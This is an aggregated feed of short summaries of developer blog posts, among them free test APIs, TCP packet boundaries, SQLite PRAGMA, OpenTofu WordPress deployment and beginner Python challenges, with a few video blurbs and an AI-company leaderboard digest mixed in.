    React Native API Example This guide will help you understand how to integrate free APIs into your React, Vue, Flutter or Node apps. JSON Response No authentication Fast testing Perfect for learning 🔥 Example API (Free) https://developerapis.vercel.app/products useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); }, []); const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); 👉 https://developerapis.vercel.app/  ( 6 min )
    Top Test APIs for Developers
    Top Test APIs for Developers This guide will help you understand how to integrate free APIs into your React, Vue, Flutter or Node apps. JSON Response No authentication Fast testing Perfect for learning 🔥 Example API (Free) https://developerapis.vercel.app/products useEffect(() => { fetch("https://developerapis.vercel.app/products") .then(res => res.json()) .then(data => console.log(data)); }, []); const axios = require("axios"); axios.get("https://developerapis.vercel.app/products") .then(res => console.log(res.data)); 👉 https://developerapis.vercel.app/  ( 6 min )
    Inception, Nolan, and Notion
    Inception, Nolan, and Notion Notion's $2 billion valuation reflects its visual approach to information organization and collaboration in the digital workspace. Notion enables global collaboration by removing physical data location constraints, allowing real-time document editing across continents. The platform's strengths include flexible forms, visual building tools, and template options that lower user barriers compared to command-line interfaces. Despite its growth, Notion faces quality-related challenges that the author suggests need addressing through product and marketing improvements. 👉 Read full article  ( 6 min )
    Event-Driven Programming for Kids: Teaching Broadcast Messages in Scratch
    The Challenge We Face How do you teach event-driven architecture to 8-year-olds? The answer: Scratch's broadcast messages. After teaching 50+ students, I've found broadcasts are the breakthrough concept that transforms beginners into real programmers. Students see immediate results. When they broadcast "explosion," sprites react visibly—no abstract console logs to decipher. Message names like player_jumped and level_complete are self-documenting. Compare this to: document.addEventListener('click', handleClick) Start simple: broadcast [start] When I receive [start] → show Progress naturally to state machines and event queues. Here's the secret: students are learning real software architecture. Scratch: broadcast [button_clicked] When I receive [button_clicked] → handle click JavaScript…  ( 7 min )
    YUM TO DNF: Amazon Linux_2023 Package Manager.
    Amazon Linux changed its package manager from yum to DNF starting with Amazon Linux 2023 (AL2023). The main motivation for this change was to adopt the more modern, efficient, and secure package manager that DNF provides, which is now the standard across most Red Hat-based distributions. DNF (Dandified YUM) is the successor to yum and offers major improvements: Faster and more reliable dependency resolution, thanks to a new dependency solver and persistent metadata cache. Improved performance and lower system resource usage compared to yum. Enhanced support for parallel operations, extension/plugin development, and delta RPMs for better update efficiency. A stricter and more predictable API, facilitating the development of automation and third-party integrations. More robust security and better memory management. Aligning with industry standards, as DNF had already replaced yum as the default in Fedora (since version 22), CentOS (version 8+), Rocky Linux, and RHEL 8+. The transition occurred with the release of Amazon Linux 2023 (AL2023). Earlier releases, like Amazon Linux 2 (AL2), used yum as the default package manager. From AL2023 onward, all yum-like commands should be executed using dnf. The commands remain almost identical, ensuring backward compatibility for users transitioning from yum to dnf. Summary Table: Amazon Linux Package Manager Evolution Version Package Manager Reason for Switch First Released Amazon Linux 2 yum Older, less efficient dependency handling 2017 Amazon Linux 2023 dnf Modern, faster, secure, aligns with RHEL 2022 Every major Red Hat-based Linux distribution has shifted to DNF for improved reliability, performance, and future compatibility, making it the logical default for Amazon Linux going forward.  ( 7 min )
    My AI Stopped "Guessing" and Started "Thinking": Implementing a Planning & Reasoning Architecture
    In previous articles, I talked about how I generate tests using LLMs, parse Swagger schemas, and fight against hardcoded data. But "naked" LLM generation has a fundamental problem: it is linear. The model often tries to guess the next step without understanding the big picture. Yesterday, I deployed the biggest architectural update since I started development — the System of Planning and Reasoning. Now, Debuggo doesn't just "write code." It acts like a Senior QA: first, it analyzes requirements, assesses risks, decomposes the task into subtasks, and only then begins to act. I want to show you "under the hood" how this works and, most importantly, honestly compare: did it actually get faster? The Problem: Why Does AI Get Lost? Previously, if I asked: "Create a group, add a user to it, verif…  ( 9 min )
    NPR Music: Ghost-Note: Tiny Desk Concert
    Ghost-Note’s Tiny Desk concert kicked off with Robert “Sput” Searight’s trademark “buckle up,” and never let go. The supergroup—born in 2015 as a drum-and-percussion duo by Searight and Nate Werth (of Snarky Puppy fame)—laid down gritty funk in tracks like “JB’s Out” and “Move with a Purpose,” complete with tight call-and-response riffs and bubbling harmonies. Dominique Xavier Taplin’s spacey keys paved the way for Mackenzie Green’s sultry “Synesthesia,” and Searight amped the energy even higher on “Be Somebody,” a loving nod to James Brown. They wrapped things on a high note with “Slim Goodie,” a playful love story that features fiery percussion solos from Werth and Searight and Mackenzie Green’s pleading vocals that leave you craving your own Slim Goodie. With a full lineup of drums, horns, guitar, bass, keys, and vocals, Ghost-Note proved their evolution from a duo into a full-on funk powerhouse. Watch on YouTube  ( 6 min )
    AI assistance in Development
    Introduction I have been meaning to try out AI-assisted coding for quite some time. Now don't get me wrong, I have been using the generic LLM chatbots. While I was able to get things done, it wasn't the best experience as a developer. I felt more and more sidelined by the process. And after a while I started picking the path of least resistance, i.e. vibe coding. And it's not just me, many of my colleagues are going through this as well. I feel that there has to be some middle ground where a coder can utilise AI all the while improving on his skills. In this article I will be exploring Kiro, an AI assistant by Amazon that uses Claude under the hood. I am specifically interested in the spec-driven development. While I do sound like a Kiro advert at this point, but come on man, they gave a…  ( 9 min )
    How to avoid getting your BetPKR account blocked?
    BetPKR is one of the most popular online gaming and earning platforms in Pakistan, offering users a fast, secure, and entertaining experience. But many users face an unexpected problem: account blocking or suspension. This usually happens when players violate certain rules knowingly or unknowingly. If you want to keep your BetPKR Game Download account safe and active, it’s important to follow some simple guidelines. There are several reasons why BetPKR may take action against an account. Most of these issues are related to: Multiple accounts from the same device Suspicious deposits or withdrawals Using illegal tricks, hacks, or third-party apps Violating platform policies Chargeback or fraudulent payment issues Understanding these reasons is the first step to keeping your account safe. One…  ( 8 min )
    The Complete Guide to Zero Balance Accounts in India (2025 Edition)
    Introduction: The Zero Balance Revolution In 2025, Indian banking has transformed dramatically. The burden of maintaining minimum balances and facing penalties for non-maintenance is becoming a relic of the past for informed consumers. Zero balance savings accounts do not charge any penalties on zero balance and come with multiple benefits for the accountholders. However, there's a critical distinction most guides overlook: Not all zero balance accounts are created equal. Many banks promote BSBDA (Basic Savings Bank Deposit Account) under schemes like Pradhan Mantri Jan Dhan Yojana, but these come with significant limitations—typically only 4 withdrawals per month, no chequebooks, and restricted digital access. This comprehensive guide focuses exclusively on feature-rich digital savings …  ( 12 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    TL;DR CinemaSins rides the Wicked wave by roasting every misstep in The Wiz in under 15 minutes, pointing out plot holes, odd choices, and goofy moments you probably forgot. They also hype their website, YouTube channels (@TVSins, @CommercialSins), social feeds, a quick poll, and Patreon support—backed by writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel and a whole CinemaSins network you can find via their Linktree. Watch on YouTube  ( 6 min )
    OSI Layer 4 Security Vulnerabilities & Resolutions
    Series: OSI Layer-Based Security (Part 4) At Layer 4—the Transport Layer—we leave behind maps and arrive at conversations. This is where TCP handshakes negotiate reliability, where UDP broadcasts scatter unconfirmed messages, and where ports serve as numbered doorways to services. Layer 4 transforms routing into dialogue. But dialogues can be hijacked. Handshakes can be abandoned mid-greeting. Doors can be knocked upon endlessly without purpose. Attackers exploit this layer to exhaust resources, steal sessions, terminate connections, and probe for vulnerabilities. In this article, we'll examine the major threats at Layer 4, then compress them into timestamped resolutions—glyphs of refusal that protect the integrity of network dialogue. A note on AI-driven security: Modern firewalls and sec…  ( 13 min )
    TCP Variable-Length Packet Handling
    Introduction While developing a Socket Chatting program, I encountered a question: how should I handle messages that exceed the predefined buffer size? // Client send(sock, packet1, 10, 0); // Send 10 bytes send(sock, packet2, 20, 0); // Send 20 bytes // Server char buffer[1024]; int bytes = recv(sock, buffer, 1024, 0); What will the value of bytes be? 10? 20? "We can't know." The size of data received from the client is unpredictable. recv() can: Receive all 30 bytes at once Receive 10 bytes and 20 bytes separately Split into 15 bytes twice Even split into 7 bytes, 13 bytes, and 10 bytes This is called the Packet Boundary Problem. Unlike UDP, TCP transmits data in byte units rather than message units. send(sock, "Hello", 5, 0); send(sock, "World", 5, 0); When a client sends a 5-byt…  ( 8 min )
    devto test 2
    Table of Contents test2 test echo "hello world"  ( 5 min )
    Day 9: Temperature Converter - From Celsius to Fahrenheit - 30 Days of Python Challenge
    Welcome Back to Day 9! Hey everyone! It's Day 9 of my 30 Days of Python Challenge, and we're building another essential converter a temperature converter! Today, we're creating a converter that switches between Celsius and Fahrenheit. Let's keep building! Today's mission: Build a Temperature Converter. Following yesterday's weight converter pattern, I'm creating another practical tool using conversion formulas! Building this temperature converter taught me: How to implement mathematical formulas in Python How to use the .upper() method for case-insensitive input How to work with temperature scales and their conversion formulas How patterns from previous projects make new ones easier to build The more I build, the more confident I become! 🔥 Here's what I wrote for Day 9: # Day 9 - Tempe…  ( 11 min )
    Learning Xahau: Automating Reward Claims with Hooks and CronSet
    Introduction If you've been following the Xahau blockchain, you know that claiming rewards is a fundamental part of participating in the ecosystem. Every account that opts in can claim rewards approximately every 30 days. But here's the thing: manually tracking when to claim and executing transactions every month can become tedious. The closest thing that exists today is the fantastic Balance Adjustment app for Xaman, which sends you a push notification as the date approaches so you can claim your XAH. What if we could automate this entire process? Today, I'm excited to share a complete example solution that automates reward claiming on Xahau using Hooks and CronSet transactions. This tutorial covers the entire lifecycle of reward automation. Of course, it's an example meant to inspire o…  ( 14 min )
    Day 8: Weight Converter - Building Practical Tools - 30 Days of Python Challenge
    Welcome Back to Day 8! Hey everyone! It's Day 8 of my 30 Days of Python Challenge, and we're building another practical tool a weight converter! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] [Day 7: Simple Calculator] Today, we're creating a converter that switches between kilograms and pounds. Let's build something useful! Today's mission: Build a Weight Converter. After yesterday's calculator, I'm taking functions to the next level by creating specialized converters with parameters! Building this weight converter taught me: How to write one-line functions for simple operations How to use function parameters to pass values into functions How to f…  ( 8 min )
    The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity by Arvind Sundararajan
    The Art of the Imperfect: Embracing AI Glitches for Unexpected Creativity Tired of pristine, predictable AI outputs? What if the most captivating art emerges not from flawless execution, but from the happy accidents – the glitches, the misinterpretations – within the AI's own creative process? We're diving into the fascinating world of embracing imperfections to unlock truly unique and surprising artistic expression. The core idea is to intentionally loosen the constraints of AI-driven systems. Instead of aiming for pixel-perfect accuracy, we allow the system to 'misunderstand' its environment, to prioritize qualitative interpretation over precise measurements. This controlled chaos births something unexpected, something human intent couldn't have precisely dictated. Think of it like jaz…  ( 7 min )
    The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them)
    The Zygote Problem: Why Every Child Deserves a Perfect Future (And How Systems Break Them) A Technical Meditation on Identity, Masquerade, and the Constitutional Right to Become This is not a story about biology. This is about constitutional architecture for human becoming. When a zygote forms—that first fusion of genetic material—it contains complete potential. No differentiation yet. No predetermined path. Just totipotent possibility. But here's what systems fail to understand: zygotes don't need to be fixed. Systems need to stop breaking them. This essay explores the AuraSeal MMUKO Initiative—a constitutional framework for protecting the perfect potential in every child, especially neurodivergent children (autism, ADHD, Asperger's), from birth through generational return. It's about t…  ( 11 min )
    Create a Subdomain in Route53 and Attach it to Elastic Beanstalk Environment
    This tutorial guides you through the process of creating a subdomain using Amazon Route 53 and seamlessly integrating it with an Elastic Beanstalk environment. Learn how to establish a distinct subdomain, enabling you to organize and host various applications efficiently. Log in to AWS Console Search for Route53 on AWS Services Click on Hosted zones on the route53 dashboard Click on Create hosted zone button Fill the form On Domain name field enter the full url to your subdomain On Description field Write a description of your choice On Type select Public hosted zone Add tag if you want to Then click on Create hosted zone button You should see a successful page if everything was done correctly Scroll down a bit on your newly created subdomain and copy the NS values, all four of them…  ( 8 min )
    Understanding SQLite PRAGMA (And How better-sqlite3 Makes It Nicer)
    Hello, I'm Maneshwar. I'm working on FreeDevTools online currently building **one place for all dev tools, cheat codes, and TLDRs* — a free, open-source hub where developers can quickly find and use tools without any hassle of searching all over the internet.* If you’ve ever worked with SQLite long enough, you’ve probably bumped into these odd-looking statements: PRAGMA foreign_keys = ON; PRAGMA journal_mode = WAL; PRAGMA table_info(users); They look like SQL, but also… not exactly SQL. So what are PRAGMAs? Let’s unpack it in a clean, practical way. What Exactly Is a PRAGMA in SQLite? A PRAGMA is a special, SQLite-specific command used to: configure how SQLite behaves read internal metadata perform maintenance tasks change settings stored inside the database file tweak performance chara…  ( 9 min )
    I built an animated Pokémon TCG Simulator with Next.js & Tailwind
    Hey developers! 👋 I've been working on a side project for the past few weeks, and I'm excited to finally share it with you all. TL;DR: I built PokeSuite, an all-in-one Pokémon toolkit that focuses on UI/UX and satisfying animations instead of just static text lists. 🚀 I just launched on Product Hunt today! If you like the project, I'd really appreciate your support: 👉 Support PokeSuite on Product Hunt As a long-time Pokémon fan, I noticed that most "randomizers" or "team generators" out there are functionally great but look like spreadsheets from 2005. I wanted to build something that felt like a modern web app—responsive, dark mode by default, and interactive. I built this using the modern React ecosystem. Here is what's under the hood: Framework: Next.js 14 (App Router) – For SEO and performance. Styling: Tailwind CSS – Made building the dark mode UI incredibly fast. Data Source: PokeAPI – The holy grail for Pokémon data. State Management: React Context + LocalStorage (No login required for users). Deployment: Vercel – Zero-config deployment. TCG Pack Simulator: This was the fun part. I used CSS animations to mimic the feeling of ripping open a booster pack. Competitive Team Builder: It includes filters for VGC and Smogon tiers (OU/UU), which required some complex data filtering logic. Spinning Wheel: A physics-based wheel to pick random Pokémon. The hardest part was handling the massive amount of data from PokeAPI without slowing down the UI. I had to implement efficient caching strategies and optimize the images to ensure the "Pack Opening" animation remained smooth on mobile devices. It is completely free, open to everyone, and requires no sign-up. Live Site: https://www.pokesuite.com Product Hunt: 👉 Support us on Product Hunt I'd love to hear your feedback on the code structure or the UI interactions. Let me know what you think in the comments! 👇  ( 7 min )
    Thank you team for the great summary !!!
    Run OSS LLMs on a Single H100 Smarter, Cheaper, Faster Eliana Lam for AWS Community On Air ・ Nov 22 #aws #cloud #beginners #productivity  ( 6 min )
    Day 50 of 100 days dsa coding challenge
    Taking on a new challenge: solving GeeksforGeeks POTD daily and sharing my solutions! 💻🔥 Problem: https://www.geeksforgeeks.org/problems/minimize-connections/1 Minimum Operations to Connect Hospitals Difficulty: Medium Accuracy: 64.27% Examples: Input: V = 5, E = 4, edges[][] = [[0, 1], [0, 2], [2, 3], [3, 4]] Constraints: Solution: used=0 for u,v in edges: if union(u,v): used+=1 if len(edges)=need: return need return -1  ( 7 min )
    Why Angular Templates Make You a Better Developer (Not Just a Better Coder)
    When developers talk about Angular, most conversations revolve around architecture, TypeScript, dependency injection, RxJS, signals, or modules. templates. Angular templates are not just HTML with extra syntax. Over time, I realized something important: If you can keep your templates clean, you can keep your entire codebase clean. Here’s why Angular templates make you a better developer. Angular templates naturally push you to separate: UI logic Business logic State management Anything heavy must be moved to the component or a service. For example: Mixing logic in the template: {{ products.filter(p => p.inStock && p.price p.inStock && p.price < 20); {{ inStockProducts.length }} Templates reward clarity …  ( 7 min )
    ✨Automate WordPress + MySQL Deployment Using Docker Compose & OpenTofu on Server
    💡 Introduction OpenTofu is an open-source fork of Terraform. In this guide, we automate: Docker installation Docker Compose installation Creating volumes + networks Deploying a full WordPress + MySQL stack Starting the containers All using OpenTofu and null_resource. This is perfect for: DevOps practice Local development setup CI/CD environments Rapid application testing Ubuntu machine (local, VM, or cloud) Install OpenTofu: sudo apt update -y sudo apt upgrade -y sudo snap install --classic opentofu mkdir tofu-docker-wordpress cd tofu-docker-wordpress nano main.tf terraform { required_providers { null = { source = "hashicorp/null" } } } ############################### # 1) INSTALL DOCKER + COMPOSE ############################### resource "null_resource" "install_doc…  ( 7 min )
    A Developer's Guide to Test Case Generation with Genetic Algorithms
    As developers, we often face the challenge of testing functions with complex business logic and numerous parameters. How can we be sure we've covered all the tricky edge cases and interactions between different inputs? Manually writing these tests is tedious, and a simple brute-force approach can lead to a combinatorial explosion of test cases. This is where a smarter approach, like using a Genetic Algorithm (GA), can be a game-changer. In this article, I'll walk through a project that uses a GA to automatically generate a concise and effective set of test cases for a complex e-commerce pricing function, explaining the core logic step-by-step. To demonstrate the power of the GA, we need a sufficiently complex function. In my experiment, I used a Python function that calculates the final pr…  ( 9 min )
    Why Governments Are Exploring Browser-Based Distributed Compute Networks
    A technical perspective on decentralized national compute architecture Chapter 1 — Nations Depend on Compute More Than Ever Modern governance increasingly depends on large-scale computation to: run national identity systems power public services & AI citizen portals store medical records and civil registries support defense analytics and threat modeling process massive research workloads Historically, governments have sourced most of this compute from corporate cloud providers such as AWS, Google Cloud, Azure, and Oracle. This creates a structural dependence: National infrastructure often runs on servers not owned, operated, or located within the nation itself. While centralized clouds provide performance and reliability, they also raise questions around: sovereignty cost s…  ( 8 min )
    Evolution of Agentic AI C/O Amazon Quicksuite
    Today, whatever is new quickly becomes old. We started with AI, then moved to Generative AI, and now it’s Agentic AI. Honestly, the lines blur because everything overlaps and shines depending on our use cases and requirements. Before diving deeper, it’s also key to clarify the difference between Generative AI and Agentic AI. Generative AI is reactive; it creates content—text, images, code—based on user prompts. It focuses on what to create when asked. In contrast, Agentic AI is proactive and autonomous. It takes initiative, sets goals, plans multi-step workflows, makes decisions, adapts dynamically, and executes tasks with minimum supervision. Generative AI powers content within these systems, but Agentic AI orchestrates entire processes to achieve goals efficiently, turning AI from …  ( 8 min )
    Web Developer Travis McCracken on Debugging Distributed Systems Like a Human
    Exploring Backend Development with Rust and Go: Insights from Web Developer Travis McCracken As a passionate Web Developer, I’ve always been fascinated by the evolving landscape of backend development. Over the years, I’ve experimented with various technologies, but two languages have continuously piqued my interest due to their performance, safety, and concurrency capabilities: Rust and Go. In this blog post, I want to share my perspective on leveraging Rust and Go for backend solutions, illustrate some of my projects—real and imagined—and offer insights into how these languages can revolutionize API development. When choosing a backend language, factors like speed, safety, concurrency, and ecosystem maturity are critical. Rust offers memory safety without a garbage collector, making it i…  ( 8 min )
    VSCode Autocomplete extension
    VSCode Marketplace I've built an autocomplete extension for VS Code. It works really well with Cerebras. Give it a try and share your feedback! 🚀 Bring Your Own Key (BYOK) ✨ AI-generated code ⚡ Inline suggestions 💡 Support for all programming languages 🔧 Generate code with comments 🧩 Supports Visual Studio Code for the Web, Visual Studio Code Desktop and GitHub Playground Go to github.dev Install AI-Autocomplete extension Demo https://youtu.be/BStExJBhNEg  ( 6 min )
    Day 42: Python Roman Numeral Converter, Bidirectional Conversion Between Roman and Integers with Mapping and Loops
    Welcome to Day 42 of the #80DaysOfChallenges journey! This intermediate challenge tackles converting between Roman numerals and integers in both directions, supporting ranges from 1 to 3999 with dictionary mappings for values, subtraction rules for Roman parsing, and iterative subtraction for integer to Roman. It combines string iteration, conditional logic for special cases like IV or CM, and user choice for mode, making it a robust exercise in bidirectional translation and input handling. If you're progressing from basic strings to more structured conversions or interested in historical number systems, this "Python Roman converter" script showcases functions that are accurate, efficient for the range, and extensible to larger values or validation. This task includes two core functions fo…  ( 12 min )
    CSS
    Font -> Google font flex-wrap : wrap Hello Banner Lorem ipsum  ( 6 min )
    My Code Worked. Excel’s "Protected View" Killed It.
    I am building a Micro-SaaS called SpeakSheet. The premise is simple: You speak (or type) a prompt, and it generates a structured Excel file. The stack is solid: NextJS, Tailwind, Supabase, and Gemini on the backend. This week, I tackled the hardest part of the MVP: Formulas. Teaching an LLM to understand "Profit Margin" is tricky. It knows the math, but it doesn't know the context. After hours of tweaking the JSON schema and refining the prompt, I finally got a green light in the console. The logic was perfect. The schema was validated. I downloaded the generated file to test it. Profit Margin: 0. I stared at the screen. I felt that specific mix of confusion and anger that only developers know. I checked the backend logs—the calculation was correct. I checked the cell data—the formula was there. But the cell displayed 0. I spent an hour debugging a bug that didn't exist. The Invisible Villain Protected View: Be careful—files from the Internet can contain viruses. Because my software generated the file programmatically, Excel didn't trust it. It blocked the execution. I realized that for a user with low Excel literacy (my target audience), this is a dealbreaker. They won't click "Enable Editing." They will just churn. I had to refactor the user journey to account for a security feature I have no control over. The Design Pivot (feat. Gemini 3.0) I am a developer, not a designer. Usually, this is where I stall. I decided to test Gemini 3.0 Flash. I gave it a simple instruction: Design a modern, clean landing page for a SaaS that converts text to Excel. I expected the usual generic AI slop. It saved me two days of CSS wrestling. The Lesson Your logic can be perfect, but if Excel's UI hides it, you failed. Follow me here for the next update. @NotVarunKV Watch Demo of the working here: Demo Working  ( 9 min )
    Mapping the Skeleton of Every Webpage - Understanding HTML’s Core Structure
    HTML can feel like a long list of tags until you notice the quiet architecture hiding underneath. Browsers aren’t tossing those tags around at random, they’re following a predictable pattern that gives every page its skeleton. Once you understand that structure, the rest of HTML clicks into place. Suddenly you’re not memorizing, you’re navigating. At the center of it all is the document itself, the recipe the browser reads from top to bottom. It starts with a declaration, moves into a root, then steps through a head before finally reaching the body. These aren’t just sections of a file; they’re roles in a performance. The browser is the actor. Your markup is the script. Here’s a quick refresher on the boilerplate HTML layout: <meta charset="UTF…  ( 7 min )
    Beyond the Changelog: Engineering Your Blog for B2B Thought Leadership
    Your company blog is live. It’s got a product update from last quarter, a post about the company picnic, and a generic "5 Ways to Improve X" article. The traffic graph is flatter than a minified CSS file. Sound familiar? Most B2B company blogs are treated like a chore—a digital ghost town of forgotten press releases and shallow content. But what if you treated your blog like you treat your product? What if you engineered it, not just to exist, but to establish your company as a genuine thought leader in your space? Let’s refactor our approach. This isn't about content marketing hacks; it's about building a system to consistently output high-signal, high-value content that developers and engineers actually want to read. First, kill the "content is king" mantra. Insight is king. Most B2B blo…  ( 10 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Cinema Sins is back with “Everything Wrong With The Wiz In 15 Minutes Or Less,” a tongue-in-cheek breakdown of the classic Dorothy-meets-Oz musical now that Wicked is back in theaters. Expect rapid-fire call-outs on plot holes, cheesy dialogue, and all the little moments that make The Wiz both charming and sin-worthy. If you want more movie nitpicks (or just love Cinema Sins banter), check out their site for other channels (@TVSins, @CommercialSins), fill out their viewer poll, and support the team on Patreon. Don’t forget to follow Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social media, plus join the Cinema Sins community on Discord and Reddit! Watch on YouTube  ( 6 min )
    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less dissects every wild misstep of the movie with CinemaSins’ trademark snark. Swing by their site for deeper dives, or catch sister channels @TVSins, @CommercialSins, and @CinemaSinsPodcastNetwork for more cinematic roasts. For behind-the-scenes fun, hit their Linktree, chime in on the quick poll, or support on Patreon. Follow writers Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, and Daniel on social, and join the party on Discord, Reddit, Instagram, and TikTok—plus peek at Jeremy’s new book for even more Sin-spiration. Watch on YouTube  ( 6 min )
    When Machines Make the Call
    The notification appears at 3:47 AM: an AI agent has just approved a £2.3 million procurement decision whilst its human supervisor slept. The system identified an urgent supply chain disruption, cross-referenced vendor capabilities, negotiated terms, and executed contracts—all without human intervention. By morning, the crisis is resolved, but a new question emerges: who bears responsibility for this decision? As AI agents evolve from simple tools into autonomous decision-makers, the traditional boundaries of workplace accountability are dissolving, forcing us to confront fundamental questions about responsibility, oversight, and the nature of professional judgment itself. The transformation of AI from passive tool to active agent represents one of the most significant shifts in workplace …  ( 20 min )
    I built a self-hosted Google Forms alternative and made it open source! 🎉
    Over the past few weeks, I have been building a Google Forms alternative but with a huge twist. Rather than creating forms manually, you can chat to develop forms and those forms go live instantly for submissions. Under the hood, it’s powered by a streaming LLM connected to Next.js & C1 by Thesys. The form spec and submissions are stored in MongoDB. It would be hard to cover the complete codebase but here are all the important details and everything I learned building this. In summary, we are going to cover these topics in detail. The vision behind the project. Tech Stack Used. Architecture Overview. Data Flow: From Prompt → Form → Save How It Works (Under the Hood). You can check the GitHub Repository. I was using Google Forms a few months back and realized it still requires you to build…  ( 14 min )
    A QA Engineer's Guide to Mobile App Testing vs. Web App Testing
    As businesses continue to deliver seamless digital experiences, the way we test applications has become more critical than ever. “web app testing” and “mobile app testing” at the start in this way to improve keyword relevance and make the introduction easier to read. To ensure consistent quality, QA teams must adapt their strategies depending on whether they’re testing a mobile app or a web app. The differences go far beyond screen size-ranging from device fragmentation and operating system diversity to installation flows, hardware integration, and even network variability. These challenges mean that the same QA approach cannot be applied to both environments without risking missed bugs or poor user experiences. If you’re interested in a foundational understanding of QA practices, check out our earlier blog on Everything You Need to Know About Functional Testing: A Beginner’s Guide In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. In this blog, we’ll explore the key differences between mobile and web app testing, including device and OS diversity, installation and release processes, UI responsiveness, hardware-specific testing, performance constraints, and network considerations. We’ll also cover practical insights into build distribution, release workflows, and do’s and don’ts to help QA engineers deliver more reliable applications across platforms. read more: https://jignect.tech/what-makes-mobile-app-testing-different-from-web-app-testing-a-qa-engineers-guide/  ( 7 min )
    Why Vitamin D health effects and supplementation matter now?
    New vitamin D research and what it means for your health Vitamin D helps the body absorb calcium and supports bone health. Recent studies revisit its wider roles, including immune and cardiovascular health. However, the evidence for supplements remains mixed. The standard test measures 25-hydroxycholecalciferol or 25(OH)D blood levels. A deficiency is below 30 nanomoles per liter. Because most vitamin D comes from sunlight, skin exposure drives levels. In addition, diet provides oily fish, egg yolks, mushrooms, and fortified foods. Infants need supplements at least until age one to prevent rickets. Low vitamin D associates with higher blood pressure and greater cardiovascular event risk. However, trials give conflicting results about whether supplements reduce these risks. Randomized tri…  ( 7 min )
    Angular migration to AWS with Azure AD SSO
    Introduction: Problem Statement: Scalability issues Server maintenance challenges Regular patching, monitoring, and hardware upkeep consumed significant time and resources. Server end-of-life concerns Authentication complexity Deployment bottlenecks The business needed a cloud Migration Steps Updated Angular dependencies for compatibility with modern cloud hosting. Integrated MSAL.js to handle authentication flows with Azure AD. Configured OAuth 2.0 and OpenID Connect for secure token management. Step 2: Setting up AWS Infrastructure Hosted static Angular files on Amazon S3. Used CloudFront as a CDN for faster global delivery. Configured Route 53 for domain management and DNS routing. Step 3: Integrating Azure AD SSO Registered the application in Azure AD. Configured redirect …  ( 8 min )
    Day 7: Simple Calculator - Putting It All Together - 30 Days of Python Challenge
    Welcome Back to Day 7! Hey everyone! It's Day 7 of my 30 Days of Python Challenge, and today is EXTRA exciting because we're building our first real project a calculator! If you missed the previous days: [Day 1: Print Statements] [Day 2: Variables and Data Types] [Day 3: Type Casting] [Day 4: User Input] [Day 5: Arithmetic Operators] [Day 6: If Statements] Today, we're combining everything we've learned into a functional calculator. Let's build something awesome! Today's mission: Build a Calculator. This is where all our previous lessons come together! We're using user input, type casting, arithmetic operators, if statements, and introducing something new—functions! Building this calculator taught me: How to organize code into reusable functions How to handle user input for calculation…  ( 9 min )
    The Future of Digital Marketing: Strategies Businesses Can’t Ignore in 2025
    Digital marketing has evolved at lightning speed over the past decade, reshaping how businesses connect with customers and build long-term brand loyalty. In 2025, the pace of change shows no signs of slowing down. From artificial intelligence to voice search, personalization to privacy-first strategies, companies that want to thrive must stay ahead of the curve. This article explores the most important digital marketing trends shaping the future — and how businesses can leverage them to drive growth, build trust, and stand out in increasingly competitive markets. Artificial intelligence (AI) is no longer a buzzword; it’s the backbone of modern marketing. AI-driven tools now handle everything from predictive analytics to automated content creation, customer segmentation, and personalized …  ( 9 min )
    Day 3: Python Programming
    Operators Arithmetic Operators Used for mathematical calculations. Operator Meaning Example Addition 10 + 5 Subtraction 10 - 5 Multiplication 4 * 3 Example: Comparison Operators Greater than Logical Operators Assignment Operators = a = a × 5 * x = 10 String 1. What is a String? 2. String Indexing 3. String Slicing 4. Important String Functions 5. Loop Through String 6. Check Substring 7. Count Vowels Program word = "education" count = 0 for ch in word: if ch in "aeiou": count += 1 print("Vowels =", count)  ( 7 min )
    Untitled
    Check out this Pen I made!  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
    Everything Wrong With The Wiz In 15 Minutes Or Less CinemaSins hops back onto the yellow brick road now that Wicked’s back in theaters, running through The Wiz with their signature sin-counting style—pointing out plot holes, quirky performances, and head-scratching moments you might’ve forgotten. It’s a fun, fast ride that asks: “Is The Wiz actually better than you remembered?” If you’re thirsty for more nit-picking goodness, their website and Linktree have all the latest videos, polls, and Patreon deets—plus links to Discord, Reddit, and every social channel you can imagine. Don’t miss out on supporting the team and joining the sinful conversation! Watch on YouTube  ( 6 min )
    Sector HQ Weekly Digest - November 22, 2025
    Sector HQ Weekly Digest - November 22, 2025 Who's shipping vs who's just talking? Here's this week's AI industry intelligence. OpenAI - Score: 516189.8 | 343 events this week Anthropic - Score: 289651.9 | 51 events this week Google - Score: 159917.4 | 125 events this week Microsoft - Score: 136773.6 | 99 events this week Amazon - Score: 130268.4 | 22 events this week Nvidia - Score: 129302.5 | 161 events this week Meta - Score: 100622.6 | 61 events this week Apple - Score: 84205.9 | 94 events this week Perplexity - Score: 47899.8 | 3 events this week DeepMind - Score: 46045.2 | 8 events this week ↑ Sony jumped 277 positions to #55 ↑ Stability AI jumped 183 positions to #74 ↑ Bytedance jumped 143 positions to #58 ↑ Scale AI jumped 122 positions to #38 ↑ Palantir jumped 107 positions to #17 No high hype alerts this week Total companies tracked: 100 Total events this week: 1317 Average activity per company: 13.2 events The AI industry continues to evolve rapidly. Companies that ship consistently rise in our rankings, while those focused on hype alone get flagged by our Hype Gap detector. Methodology: Our leaderboard tracks real product releases, funding events, partnerships, and market traction - not just PR and social media buzz. Want real-time updates? Check out the live leaderboard at sectorhq.co Track specific companies and get instant alerts when they move in the rankings. Tags AI #ArtificialIntelligence 